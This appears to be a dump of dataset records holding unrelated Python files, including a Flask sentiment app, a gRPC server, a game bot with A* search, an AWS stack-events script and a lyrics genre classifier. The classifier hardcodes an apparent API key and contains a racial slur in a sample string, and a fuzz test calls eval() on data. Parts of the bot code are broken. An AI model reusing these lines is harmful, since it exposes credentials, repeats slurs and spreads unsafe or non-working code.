dataframe do we go about calculating overall avg valence\n #defining which emotions should be getting negative valences \n neg_emo = ['sadness','anger','fear','worry']\n neg_criteria = ((emo_summary['emotions'].isin(neg_emo)) & (emo_summary['sentiment']<0))\n \n #defining which emotions should be getting positive/neutral valences \n pos_emo = ['joy','love','surprise','neutral']\n pos_criteria = ((emo_summary['emotions'].isin(pos_emo)) & (emo_summary['sentiment']>=0))\n \n #combining both criteria\n all_criteria = (neg_criteria | pos_criteria)\n clean_vader_scores = emo_summary[(all_criteria)]['sentiment']\n \n #subsetting vader values using the defined boolean conditions above to calculate the overall valence scores \n avg_vader_score = np.round(np.sum(clean_vader_scores)/len(clean_vader_scores),3) \n \n #for pie chart breakdown of emotions\n global emo_perc \n emo_perc = emo_summary['emotions'].value_counts(normalize=True)\n\n return emo_summary, avg_vader_score\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n","sub_path":"capstone/flask/archive/emo_flask2.py","file_name":"emo_flask2.py","file_ext":"py","file_size_in_byte":7682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"654468598","text":"# http://www.bionicbunny.org/\n#\n# Copyright (c) 2014 Oleksandr Sviridenko\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\n\nfrom b3.rules.buildable import Buildable\nfrom b3.rules.build_rule_base import BuildRuleBase\nfrom b3.rules.rule_with_sources import RuleWithSources\nfrom b3.steps.mustache_step import MustacheStep\nfrom b3.steps.fs.mkdir_step import MkDirStep\n\n\nclass Render(BuildRuleBase, Buildable, RuleWithSources):\n\n PARAMETERS_MAPPING = BuildRuleBase.PARAMETERS_MAPPING + {\n \"template\": {\n \"type\": \"string\"\n },\n \"context\": {\n \"oneOf\": [\n {\"type\": \"string\"},\n {\"type\": \"object\"},\n ]\n }\n }\n\n def _set_template(self, template):\n path = self.resolve_file_path_relative_to_build_file_directory(template)\n if os.path.exists(path):\n with open(path, \"r\") as fh:\n self._template = fh.read()\n else:\n self._template = template\n\n def _set_data(self, data):\n self._data = data\n\n def process_raw_parameters(self, raw_parameters):\n BuildRuleBase.process_raw_parameters(self, raw_parameters)\n self._set_template(raw_parameters.pop(\"template\"))\n self._set_data(raw_parameters.pop(\"context\"))\n\n def get_path_to_output_directory(self):\n return os.path.relpath(os.path.join(self._config.get(\"project\", \"project_gen_dir\"),\n self._build_target.get_base_path()),\n self._config.get(\"project\", \"project_root_dir\"))\n\n def get_path_to_output_file(self):\n return os.path.join(self.get_path_to_output_directory(),\n self._build_target.get_short_name())\n\n def get_build_steps(self, build_context):\n return [MkDirStep(self.get_path_to_output_directory()),\n MustacheStep(template=self._template,\n context=self._data,\n output_file_path=self.get_path_to_output_file())]\n","sub_path":"src/main/python/b3/rules/render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":2397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"202486019","text":"import sys\n\nimport hypothesis.strategies as st\nimport pytest\nfrom fakeparser import Parser\nfrom hypothesis import given\nfrom hypothesis import settings\nfrom test_reader import get_entries_random\nfrom test_reader import search_entries_random\nfrom test_reader import with_call_entries_method\n\nfrom reader import make_reader\n\n\n# Skip on PyPy, as these tests are even slower there.\n# Reconsider when we start using hypothesis profiles.\npytestmark = pytest.mark.skipif(\"sys.implementation.name == 'pypy'\")\n\n\n@st.composite\ndef data_and_kwargs(draw):\n data = draw(\n st.lists(\n st.tuples(st.integers(), st.integers(), st.datetimes(), st.datetimes())\n )\n )\n\n kwargs = draw(\n st.fixed_dictionaries(\n {},\n optional={\n 'read': st.none() | st.booleans(),\n 'important': st.none() | st.booleans(),\n 'has_enclosures': st.none() | st.booleans(),\n 'feed': st.none()\n | st.sampled_from([f'{t[0]}' for t in data] + [''])\n | st.text(),\n 'entry': st.none()\n | st.sampled_from(\n [(f'{t[0]}', f'{t[0]}, {t[1]}') for t in data] + [('', '')]\n )\n | st.tuples(st.text(), st.text()),\n },\n )\n )\n\n chunk_size = draw(st.integers(0, len(data) * 2))\n\n return data, kwargs, chunk_size\n\n\n@pytest.mark.slow\n@with_call_entries_method\n@given(data_and_kwargs=data_and_kwargs())\n@settings(deadline=1000 if sys.implementation.name == 'pypy' else 400)\ndef test_sort_and_filter_subset_basic(data_and_kwargs, pre_stuff, call_method):\n entry_data, kwargs, chunk_size = data_and_kwargs\n\n # can't use reader fixture because of\n # https://github.com/pytest-dev/pytest/issues/916\n reader = make_reader(':memory:')\n\n reader._storage.chunk_size = chunk_size\n\n parser = Parser()\n reader._parser = parser\n\n for feed_id, entry_id, feed_updated, entry_updated in entry_data:\n seen_feed = feed_id in parser.feeds\n feed = parser.feed(feed_id, feed_updated)\n parser.entry(feed_id, entry_id, entry_updated)\n if not seen_feed:\n reader.add_feed(feed.url)\n\n reader.update_feeds()\n pre_stuff(reader)\n\n expected = [\n (fid, eid) for fid, entries in parser.entries.items() for eid in entries\n ]\n\n actual = [eval(e.id) for e in call_method(reader)]\n\n if call_method not in (get_entries_random, search_entries_random):\n assert len(expected) == len(actual)\n assert set(expected) == set(actual)\n else:\n assert set(expected) >= set(actual)\n\n actual = [eval(e.id) for e in call_method(reader, **kwargs)]\n assert set(expected) >= set(actual)\n","sub_path":"tests/test_fuzz.py","file_name":"test_fuzz.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"595643864","text":"import sys\nimport time\nfrom concurrent import futures\nimport grpc\n\nsys.path.insert(0, 'service_spec')\n\nimport srl_pb2\nimport srl_pb2_grpc\n\nimport allen_srl\n\nclass SRLServicer(srl_pb2_grpc.SRLServicer):\n def resolve(self, request, context):\n if request.document is None:\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n context.set_details(\"document is required!\")\n return srl_pb2.Output()\n\n elif request.document == \"\":\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n context.set_details(\"document is empty!\")\n return srl_pb2.Output()\n\n response = srl_pb2.Output()\n\n result = allen_srl.SRL.get_srl(request.document)\n\n if result is None:\n context.set_code(grpc.StatusCode.FAILED_PRECONDITION)\n context.set_details(\"document is invalid.\")\n return srl_pb2.Output()\n\n try:\n for verbs_dic in result['verbs']:\n ver = srl_pb2.Verbs()\n for tag in verbs_dic['tags']:\n ver.tags.word.append(tag)\n response.verbs.add(verb=verbs_dic['verb'], description=verbs_dic['description'], tags=ver.tags)\n for word in result['words']:\n response.words.word.append(word)\n except Exception as exp:\n context.set_code(grpc.StatusCode.UNKNOWN)\n context.set_details(\"Exception happened during getting results... \\n\", exp.__str__())\n return srl_pb2.Output()\n\n return response\n\ndef get_server(port=\"50051\"):\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n srl_pb2_grpc.add_SRLServicer_to_server(SRLServicer(), server)\n server.add_insecure_port('[::]:' + str(port))\n return server\n\nif __name__ == \"__main__\":\n server = get_server()\n server.start()\n print(\"Server has started on port:\", \"50051\")\n _ONE_DAY = 86400\n try:\n while True:\n time.sleep(_ONE_DAY)\n except KeyboardInterrupt:\n server.stop(1)\n","sub_path":"semantic-role-labeling/service/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"344516806","text":"from aiarena21.client.classes import Player, Map\n\nimport random\nimport math\n\ndef sign(the_int):\n if the_int <= -1:\n return -1\n elif the_int >= 1:\n return 1\n else:\n return 0\n\n\ndef manhattan_distance(r1, c1, r2, c2):\n return abs(r2-r1) + abs(c2-c1)\n\n\ndef items_around(game_map, items, x, y):\n # returns total value of items adjacent\n\n left = items[y][x-1] if x > 0 else 0\n right = items[y][x+1] if x+1 < game_map.cols else 0\n up = items[y-1][x] if y > 0 else 0\n down = items[y+1][x] if y+1 < game_map.rows else 0\n\n return left + right + up + down\n\n\ndef get_value_at(array, me_x, me_y, x, y, distance_penalty_factor=1):\n points_at = array[y][x]\n manhattan_distance = abs(me_y - y) + abs(me_x - x)\n value_at = points_at / math.pow(max(manhattan_distance, 1), distance_penalty_factor)\n return value_at\n\n\ndef get_cluster_value(game_map, items, y, x, cluster_size):\n total_value = 0\n for row in range(max(0, y - cluster_size), min(game_map.rows, y + cluster_size + 1)):\n for col in range(max(0, x - cluster_size), min(game_map.cols, x + cluster_size + 1)):\n if manhattan_distance(x, y, col, row) <= cluster_size:\n total_value += items[row][col]\n \n return total_value\n\n\ndef get_bike_to_path(me_y, me_x, dest_y, dest_x):\n curr_y = me_y\n curr_x = me_x\n\n y_diff = abs(dest_y - curr_y)\n x_diff = abs(dest_x - curr_x)\n the_path = []\n\n while y_diff > 0 or x_diff > 0:\n change_y, change_x = 0, 0\n\n if dest_y > curr_y:\n change_y = min(dest_y - curr_y, 3)\n elif dest_y < curr_y:\n change_y = max(dest_y - curr_y, -3)\n \n # x uses whatever's left over\n if dest_x > curr_x:\n change_x = min(dest_x - curr_x, 3 - abs(change_y))\n elif dest_x < curr_x:\n change_x = max(dest_x - curr_x, -3 + abs(change_y))\n\n curr_y += change_y\n curr_x += change_x\n the_path.append((curr_y, curr_x))\n\n print(dest_y, curr_y, dest_x, curr_x)\n\n y_diff = abs(dest_y - curr_y)\n x_diff = abs(dest_x - curr_x)\n \n return the_path\n\n\ndef play_powerup(game_map: Map, me: Player, opponent: Player, items: list, new_items: list, heatmap, remaining_turns):\n global teleport_to\n global bike_to\n me_y, me_x = me.location\n op_y, op_x = opponent.location\n\n cluster_size = 3 # max manhattan distance from central element\n\n # teleporting is only worth it if the max exploitation within cluster size of cluster_size+1\n # around the player's current location is less than min_cluster_value_threshold-100\n # (as that is the cost of teleporting there).\n # similar for biking but less extreme.\n cluster_value_around_current_location = get_cluster_value(game_map, items, me_y, me_x, cluster_size)\n\n ## TRIP MODE - using the bike to move to greener pastures when the current location is pretty dry\n\n # TODO - think about how this should relate to the opponent's location - currently we don't take it into account at all\n\n # Also, we can't bike through walls.\n \n bike_discouragement_factor = 1.5 # otherwise the player rents the bike all the time\n min_cluster_value_threshold = (30 + cluster_value_around_current_location) * bike_discouragement_factor\n min_distance_threshold = 5\n max_distance_threshold = 9\n\n possible_clusters = []\n for y in range(game_map.rows):\n for x in range(game_map.cols):\n dist_to_player = manhattan_distance(x, y, me_x, me_y)\n if dist_to_player < min_distance_threshold or dist_to_player > max_distance_threshold:\n continue\n\n cluster_value = get_cluster_value(game_map, items, y, x, cluster_size)\n\n if cluster_value > min_cluster_value_threshold:\n # check that the path to the cluster is actually available\n is_avail = path_available(game_map, (me_y, me_x), (y, x), 3)\n\n if is_avail:\n possible_clusters.append((y, x, cluster_value))\n else:\n print(f'path not available: {me_y},{me_x} to {y},{x}')\n\n possible_clusters.sort(key = lambda x: -x[2]) # cluster value, sorted descending\n\n print('bike clust', cluster_value_around_current_location, possible_clusters)\n\n if len(possible_clusters) > 0:\n # let's go there\n # work out the path needed\n\n print('calculating bike2 path')\n bike_to = get_bike_to_path(me_y, me_x, possible_clusters[0][0], possible_clusters[0][1])\n print('bike2', bike_to)\n\n return 'bike'\n\n ## HUNTING MODE - finding clusters of powerups that are well worth teleporting to, that are far away from the opponent\n\n teleportation_discouragement_factor = 1.5\n min_cluster_value_threshold = (100 + cluster_value_around_current_location) * teleportation_discouragement_factor\n min_distance_threshold = 10 # if the player is closer than this, then there is no point teleporting\n\n possible_clusters = []\n for y in range(game_map.rows):\n for x in range(game_map.cols):\n dist_to_opponent = manhattan_distance(x, y, op_x, op_y)\n dist_to_player = manhattan_distance(x, y, me_x, me_y)\n if max(dist_to_opponent, dist_to_player) > min_distance_threshold:\n continue\n\n cluster_value = get_cluster_value(game_map, items, y, x, cluster_size)\n\n if cluster_value > min_cluster_value_threshold:\n possible_clusters.append((y, x, cluster_value))\n \n possible_clusters.sort(key = lambda x: -x[2]) # cluster value, sorted descending\n\n print('clust', cluster_value_around_current_location, possible_clusters)\n\n if len(possible_clusters) > 0:\n # let's go there\n teleport_to = f'{possible_clusters[0][0]},{possible_clusters[0][1]}'\n return 'portal gun'\n\n ## -------------\n ## THIEF MODE - stealing powerups off opponent\n\n # If opponent's distance to a high value square/area (defined as any square + surrounding squares\n # with total value >= 60) is less than the player's distance to a dragonfruit,\n # and the opponent's distance to said dragon fruit is <= 8 squares (manhattan distance),\n # then teleport to the dragonfruit.\n\n # TODO - decide if a bike would allow the same thing to be accomplished more cheaply.\n min_value_threshold = 60 # including cell and all surrounding\n opponent_max_distance_threshold = 8\n opponent_min_distance_threshold = 3\n\n value_coords = []\n # find all dragonfruits on the map\n for y in range(game_map.rows):\n for x in range(game_map.cols):\n cell_value = items[y][x]\n surrounding_cell_values = items_around(game_map, items, x, y)\n dist_to_opponent = manhattan_distance(x, y, op_x, op_y)\n dist_to_player = manhattan_distance(x, y, me_x, me_y)\n if cell_value + surrounding_cell_values >= min_value_threshold:\n value_coords.append((y, x, dist_to_opponent, dist_to_player))\n\n if len(value_coords) == 0:\n # no squares worth using a powerup for\n return ''\n\n players_closest = sorted(value_coords, key=lambda x: x[3])[0]\n opponents_closest = sorted(value_coords, key=lambda x: x[2])[0]\n\n # if we don't meet the conditions above, don't use a powerup\n dist_to_opp = opponents_closest[2] # opponent's nearest dragonfruit distance to opponent\n dist_to_me = players_closest[3] # my nearest dragonfruit distance to me\n if dist_to_opp > opponent_max_distance_threshold or dist_to_opp < opponent_min_distance_threshold or dist_to_me < dist_to_opp:\n print('decided not to teleport', dist_to_me, dist_to_opp)\n return ''\n\n print('vc', value_coords, players_closest, opponents_closest)\n\n teleport_to = f'{opponents_closest[0]},{opponents_closest[1]}'\n\n print('teleport to: ', teleport_to)\n\n return 'portal gun'\n\n\ndef play_turn(game_map: Map, me: Player, opponent: Player, items: list, new_items: list, heatmap, remaining_turns):\n # if we bought the teleporter, use it!\n if me.portal_gun:\n print('teleporting to: ' + teleport_to)\n return teleport_to\n if me.bike and len(bike_to) > 0:\n print('biking from: ', me.location, 'biking to: ', bike_to)\n bike_to_dest = bike_to[0]\n bike_to.pop(0)\n return f'{bike_to_dest[0]},{bike_to_dest[1]}'\n\n me_y, me_x = me.location\n\n max_value_y = 0\n max_value_x = 0\n heatmap_max_y = 0\n heatmap_max_x = 0\n # find the coordinates of the highest-value square on the board, and move toward it\n for y in range(game_map.rows):\n for x in range(game_map.cols):\n value_at = get_value_at(items, me_x, me_y, x, y)\n value_at_max = get_value_at(items, me_x, me_y, max_value_x, max_value_y)\n\n heatmap_at = get_value_at(heatmap, me_x, me_y, x, y, 0.5)\n heatmap_at_max = get_value_at(heatmap, me_x, me_y, heatmap_max_x, heatmap_max_y, 0.5)\n\n if value_at > value_at_max:\n max_value_y = y\n max_value_x = x\n\n if heatmap_at >= heatmap_at_max:\n heatmap_max_y = y\n heatmap_max_x = x\n\n if items[max_value_y][max_value_x] == 0:\n max_value_y = heatmap_max_y\n max_value_x = heatmap_max_x\n \n print(max_value_x, max_value_y)\n\n # Calculate path from current square to this square\n astar_graph = process_map_to_astar_graph(game_map)\n best_path = aStarAlgorithm(me_y, me_x, max_value_y, max_value_x, astar_graph)\n print(best_path)\n\n if len(best_path) < 2:\n return f'{me.location[0]},{me.location[1]}'\n\n # Move towards square with max points\n\n dy = best_path[1][0] - me.location[0]\n dx = best_path[1][1] - me.location[1]\n\n new_row = me.location[0] + dy\n new_col = me.location[1] + dx\n\n print(me.location, dy, dx, max_value_y, max_value_x, new_row, new_col)\n\n return f'{new_row},{new_col}'\n\n\ndef play_auction(game_map: Map, me: Player, opponent: Player, items: list, new_items: list, heatmap, remaining_turns):\n # too much lag!\n return 0\n\n global value_map\n value_map = calculate_value_map(game_map, items, heatmap)\n row, col = me.location[0], me.location[1]\n current_value = eval_tile(min(SEARCH_DEPTH, remaining_turns), row, col, game_map, items, heatmap)\n worst_tile = np.unravel_index(np.argmin(value_map), value_map.shape)\n worst_value = eval_tile(min(SEARCH_DEPTH, remaining_turns), worst_tile[0], worst_tile[1], game_map, items, heatmap)\n r = math.floor((current_value - worst_value))\n return r\n\n\ndef play_transport(game_map: Map, me: Player, opponent: Player, items: list, new_items: list, heatmap, remaining_turns):\n # one way we could possibly find the worst square is to calculate the number of fruits within \n # a given manhattan distance threshold of it.\n \n worst_tile = np.unravel_index(np.argmin(value_map), value_map.shape)\n return f'{worst_tile[0], worst_tile[1]}'\n\n\n\n\n\n\n\n\n\n\n################ A STAR ALGORITHM #######################\n\nclass Node:\n def __init__(self, row, col, value):\n self.id = str(row) + \"-\" + str(col)\n self.row = row\n self.col = col\n self.value = value\n self.distanceFromStart = float('inf')\n self.estimatedDistanceToEnd = float('inf')\n self.cameFrom = None\n\n# O(w * h * log(w * h)) time | O(w * h) space\ndef aStarAlgorithm(startRow, startCol, endRow, endCol, graph):\n nodes = initialiseNodes(graph)\n\n startNode = nodes[startRow][startCol]\n endNode = nodes[endRow][endCol]\n\n startNode.distanceFromStart = 0\n startNode.estimatedDistanceToEnd = calculateManhattanDistance(startNode, endNode)\n\n nodesToVisit = MinHeap([startNode])\n\n while not nodesToVisit.isEmpty():\n currentMinDistanceNode = nodesToVisit.remove()\n\n if currentMinDistanceNode == endNode:\n break\n\n neighbours = getNeighbouringNodes(currentMinDistanceNode, nodes)\n for neighbour in neighbours:\n if neighbour.value == 1:\n continue\n\n tentativeDistanceToNeighbour = currentMinDistanceNode.distanceFromStart + 1\n\n if tentativeDistanceToNeighbour >= neighbour.distanceFromStart:\n continue\n\n neighbour.cameFrom = currentMinDistanceNode\n neighbour.distanceFromStart = tentativeDistanceToNeighbour\n neighbour.estimatedDistanceToEnd = tentativeDistanceToNeighbour + calculateManhattanDistance(neighbour, endNode)\n\n if not nodesToVisit.containsNode(neighbour):\n nodesToVisit.insert(neighbour)\n else:\n nodesToVisit.update(neighbour)\n \n return reconstructPath(endNode)\n\n\ndef initialiseNodes(graph):\n nodes = []\n\n for i, row in enumerate(graph):\n nodes.append([])\n for j, value in enumerate(row):\n nodes[i].append(Node(i, j, value))\n \n return nodes\n \n\ndef calculateManhattanDistance(currentNode, endNode):\n currentRow = currentNode.row\n currentCol = currentNode.col\n endRow = endNode.row\n endCol = endNode.col\n\n return abs(currentRow - endRow) + abs(currentCol - endCol)\n\n\ndef getNeighbouringNodes(node, nodes):\n neighbours = []\n\n numRows = len(nodes)\n numCols = len(nodes[0])\n \n row = node.row\n col = node.col\n\n if row < numRows - 1: # DOWN\n neighbours.append(nodes[row + 1][col])\n \n if row > 0: # UP\n neighbours.append(nodes[row - 1][col])\n\n if col < numCols - 1: # RIGHT\n neighbours.append(nodes[row][col + 1])\n\n if col > 0: # LEFT\n neighbours.append(nodes[row][col - 1])\n \n return neighbours\n\n\ndef reconstructPath(endNode):\n if not endNode.cameFrom:\n return []\n \n currentNode = endNode\n path = []\n\n while currentNode is not None:\n path.append([currentNode.row, currentNode.col])\n currentNode = currentNode.cameFrom\n \n return path[::-1] # reverse path\n\n\nclass MinHeap:\n def __init__(self, array):\n # Holds position in each heap that each node is at\n self.nodePositionsInHeap = {node.id: idx for idx, node in enumerate(array)}\n self.heap = self.buildHeap(array)\n \n def isEmpty(self):\n return len(self.heap) == 0\n\n # O(n) time | O(1) space\n def buildHeap(self, array):\n firstParentIdx = (len(array) - 2) // 2\n for currentIdx in reversed(range(firstParentIdx + 1)):\n self.siftDown(currentIdx, len(array) - 1, array)\n return array\n\n # O(log(n)) time | O(1) space\n def siftDown(self, currentIdx, endIdx, heap):\n childOneIdx = currentIdx * 2 + 1\n while childOneIdx <= endIdx:\n childTwoIdx = currentIdx * 2 + 2 if currentIdx * 2 + 2 <= endIdx else -1\n if (\n childTwoIdx != -1\n and heap[childTwoIdx].estimatedDistanceToEnd < heap[childOneIdx].estimatedDistanceToEnd\n ):\n idxToSwap = childTwoIdx\n else:\n idxToSwap = childOneIdx\n \n if heap[idxToSwap].estimatedDistanceToEnd < heap[currentIdx].estimatedDistanceToEnd:\n self.swap(currentIdx, idxToSwap, heap)\n currentIdx = idxToSwap\n childOneIdx = currentIdx * 2 + 1\n else:\n return\n \n # O(log(n)) time | O(1) space\n def siftUp(self, currentIdx, heap):\n parentIdx = (currentIdx - 1) // 2\n while currentIdx > 0 and heap[currentIdx].estimatedDistanceToEnd < heap[parentIdx].estimatedDistanceToEnd:\n self.swap(currentIdx, parentIdx, heap)\n currentIdx = parentIdx\n parentIdx = (currentIdx - 1) // 2\n \n # O(log(n)) time | O(1) space\n def remove(self):\n if self.isEmpty():\n return\n \n self.swap(0, len(self.heap) - 1, self.heap)\n node = self.heap.pop()\n del self.nodePositionsInHeap[node.id]\n self.siftDown(0, len(self.heap) - 1, self.heap)\n return node\n\n # O(log(n)) time | O(1) space\n def insert(self, node):\n self.heap.append(node)\n self.nodePositionsInHeap[node.id] = len(self.heap) - 1\n self.siftUp(len(self.heap) - 1, self.heap)\n \n def swap(self, i, j, heap):\n self.nodePositionsInHeap[heap[i].id] = j\n self.nodePositionsInHeap[heap[j].id] = i\n heap[i], heap[j] = heap[j], heap[i]\n \n def containsNode(self, node):\n return node.id in self.nodePositionsInHeap\n \n def update(self, node):\n self.siftUp(self.nodePositionsInHeap[node.id], self.heap)\n\n\ndef process_map_to_astar_graph(game_map):\n a_star_graph = [[0 for _ in range(game_map.cols)] for _ in range(game_map.rows)]\n\n for y in range(game_map.rows):\n for x in range(game_map.cols):\n is_free = game_map.is_free(y, x)\n a_star_graph[y][x] = 0 if is_free else 1\n \n return a_star_graph\n\n\n# Run\n\nif __name__ == '__main__':\n print('hello')\n\n\n startRow = 0\n startCol = 1\n endRow = 4\n endCol = 3\n graph = [\n [0, 0, 0, 0, 0],\n [0, 1, 1, 1, 0],\n [0, 0, 0, 0, 0],\n [1, 0, 1, 1, 1],\n [0, 0, 0, 0, 0]\n ]\n\n response = aStarAlgorithm(startRow, startCol, endRow, endCol, graph)\n print(response)\n\n\n######### ------------ OTHER MISC ---------------\n\ndef cell_available(game_map, row, col):\n return 0 <= row < game_map.rows and 0 <= col < game_map.cols and game_map.get(row, col) != '#'\n\n# This is modified from the code the server uses\ndef path_available(game_map, p1, p2, max_dist):\n q = [(p1, 0)]\n seen = [p1]\n dx = [0, 1, 0, -1]\n dy = [1, 0, -1, 0]\n while len(q) > 0:\n front, dist = q[0]\n if dist >= max_dist:\n return False\n q = q[1:]\n for d in range(4):\n new_p = (front[0] + dx[d], front[1] + dy[d])\n if new_p not in seen and cell_available(game_map, *new_p):\n if new_p == p2:\n return True\n seen.append(new_p)\n q.append((new_p, dist + 1))","sub_path":"experimental_bots/jimmy_neutron.py","file_name":"jimmy_neutron.py","file_ext":"py","file_size_in_byte":17532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"575654207","text":"#!/usr/bin/env python\n\n#\n# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You may not use this file\n# except in compliance with the License. A copy of the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is distributed on an \"AS IS\"\n# BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under the License.\n#\n\nimport sys\nimport time\nimport argparse\nfrom awscfnctl import CfnControl\n\nprogname = 'getstackinfo'\n\n\ndef arg_parse():\n\n parser = argparse.ArgumentParser(prog=progname, description='Get information for a stack')\n\n opt_group = parser.add_argument_group()\n opt_group.add_argument('-r', dest='region', required=False)\n\n req_group = parser.add_argument_group('required arguments')\n req_group.add_argument('-s', dest='stack_name', required=True)\n\n return parser.parse_args()\n\n\ndef get_stack_events(client, stack_name):\n\n try:\n paginator = client.get_paginator('describe_stack_events')\n pages = paginator.paginate(StackName=stack_name, PaginationConfig={'MaxItems': 100})\n return next(iter(pages))[\"StackEvents\"]\n except Exception as e:\n raise ValueError(e)\n\n\ndef main():\n\n rc = 0\n\n args = arg_parse()\n region = args.region\n stack_name = args.stack_name\n\n\n client = CfnControl(region=region)\n client.get_stack_info(stack_name=stack_name)\n\n all_events = list()\n\n events = True\n\n while events:\n stk_status = get_stack_events(client.client_cfn, stack_name)\n\n for s in reversed(stk_status):\n event_id = s['EventId']\n if event_id not in all_events:\n all_events.append(event_id)\n try:\n print('{0} {1} {2}'.format(s['LogicalResourceId'], s['ResourceStatus'], s['ResourceStatusReason']))\n except KeyError:\n print('{0} {1}'.format(s['LogicalResourceId'], s['ResourceStatus']))\n except Exception as e:\n raise ValueError(e)\n\n if s['LogicalResourceId'] == stack_name and s['ResourceStatus'] == 'ROLLBACK_COMPLETE':\n events = False\n time.sleep(1)\n\n return rc\n\nif __name__ == \"__main__\":\n try:\n sys.exit(main())\n except KeyboardInterrupt:\n print('\\nReceived Keyboard interrupt.')\n print('Exiting...')\n except ValueError as e:\n print('ERROR: {0}'.format(e))\n\n\n","sub_path":"aws-cfn-control/awscfnctl/getstackinfo.py","file_name":"getstackinfo.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"324860327","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 18 19:08:09 2018\n\n@author: jai\n\"\"\"\n#Libraries\nimport billboard\nimport pandas as pd\nimport numpy as np\nfrom musixmatch import Musixmatch\nimport nltk\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nfrom nltk import pos_tag\nfrom textblob.classifiers import NaiveBayesClassifier\n\nnltk.download()\n\nmusixmatch = Musixmatch('0420fc6e8cc2586e23222f0d8a968df3')\n\n#Initialization\n\ntraining_set=[]\ntest_set=[]\n\nchart_names=['adult-contemporary', 'greatest-hot-latin-songs',\n 'rap-song', 'rock-songs',\n 'country-songs','r-and-b-songs', 'greatest-country-songs']\n\nchart = billboard.ChartData(chart_names[6])\ntable = pd.DataFrame()\nsongs=[]\nartists=[]\nall_lyrics=\"\"\nlyrics=\"\"\n\n#Get Song Details\n\ni=0\nwhile(i<100):\n artists.append(chart[i].artist)\n i+=1\n \n\ni=0\nwhile(i<100):\n songs.append(chart[i].title)\n i+=1 \n \ntable['Title']=pd.Series(songs) \ntable['Artist']=pd.Series(artists)\n\n\n#Get Song Lyrics\n\ni=0\nwhile(i<100):\n lyrics=((((musixmatch.matcher_lyrics_get(table['Title'][i], table['Artist'][i]).get('message')).get('body')).get('lyrics')).get('lyrics_body'))\n all_lyrics+=lyrics.split('...', 1)[0]\n i+=1\n\n\nall_lyrics=all_lyrics.replace(',', '')\n\n#Text Processing\nprocessed_lyrics=all_lyrics.split(\"\\n\")\nprocessed_lyrics=list(filter(None, processed_lyrics))\n\ni=0\nwhile(i!=len(processed_lyrics)):\n processed_lyrics[i]+=\"', 'country'\"\n i+=1\n\n\nprocessed_lyrics = [\"'\" + line for line in processed_lyrics]\nprocessed_lyrics=[tuple(x.replace('\\'', '').split(',')) for x in processed_lyrics]\n\nprint(processed_lyrics)\n\n\n#Training Data\ntraining_set+=processed_lyrics\n\nprint(training_set)\n\n#Testing Data\n\ntest_set+=processed_lyrics\nprint(test_set)\n\n\n#Sentiment Analysis\n\nanalyser = SentimentIntensityAnalyzer() \ndef print_sentiment_scores(sentence):\n snt = analyser.polarity_scores(sentence)\n print(\"{:-<40} {}\".format(sentence, str(snt)))\n \nprint(analyser.polarity_scores(lyrics)) \n\nfor line in processed_lyrics:\n print_sentiment_scores(line)\n \nprint_sentiment_scores(lyrics)\n\n#Pos Tagging\npos_check=lyrics.split(\" \")\n\npos = []\n\nfor line in processed_lyrics:\n pos.append(pos_tag(line))\n \n \nprint(pos_tag(processed_lyrics)) \n\n\n#Naive Bayes Classifier\n\ncl = NaiveBayesClassifier(training_set)\n\ncl.classify(\"Just let it go\")\ncl.classify(\"Nigga's be hatin on me\")\ncl.classify(\"I gotta feeling, that tonight will be a good night\")\ncl.classify(\"Hey Jude, don't be afraid\")\n\ncl.accuracy(test_set)\n\n\ngenre_classifier = NaiveBayesClassifier(training_set)\n\ngenre_classifier.accuracy(test_set)\n\ngenre_classifier.classify(\"Bet your window's rolled down and your hair's pulled back And I bet you got no idea you're going way too fast You're trying not to think about what went wrong Trying not to stop 'til you get where you goin'You're trying to stay awake so I bet you turn on the radio and the song goes\")\n\n \n","sub_path":"genre_classifier.py","file_name":"genre_classifier.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"551754672","text":"import pytest\nfrom candy_delivery_app.server.app import create_app\nfrom candy_delivery_app.server.app import register_blueprints\nfrom candy_delivery_app.server.configurations import TestConfig\nfrom candy_delivery_app.database.db import init_db\n\n\n@pytest.fixture\ndef client():\n app = create_app(TestConfig)\n register_blueprints(app)\n\n with app.test_client() as client:\n with app.app_context():\n init_db()\n yield client\n\n\ndef test_add_new_order(client):\n \"\"\"Check new order is added or not\"\"\"\n\n body = {\n 'data': [\n {\n 'order_id': 1,\n 'weight': 0.01,\n 'region': 666,\n 'delivery_hours': ['00:00-23:59']\n }\n ]\n }\n\n rv = client.post('/orders',\n json=body)\n\n json_data = rv.get_json()\n print(json_data)\n assert len(json_data['orders']) > 0\n assert json_data['orders'][0]['id'] == 1\n\n\ndef 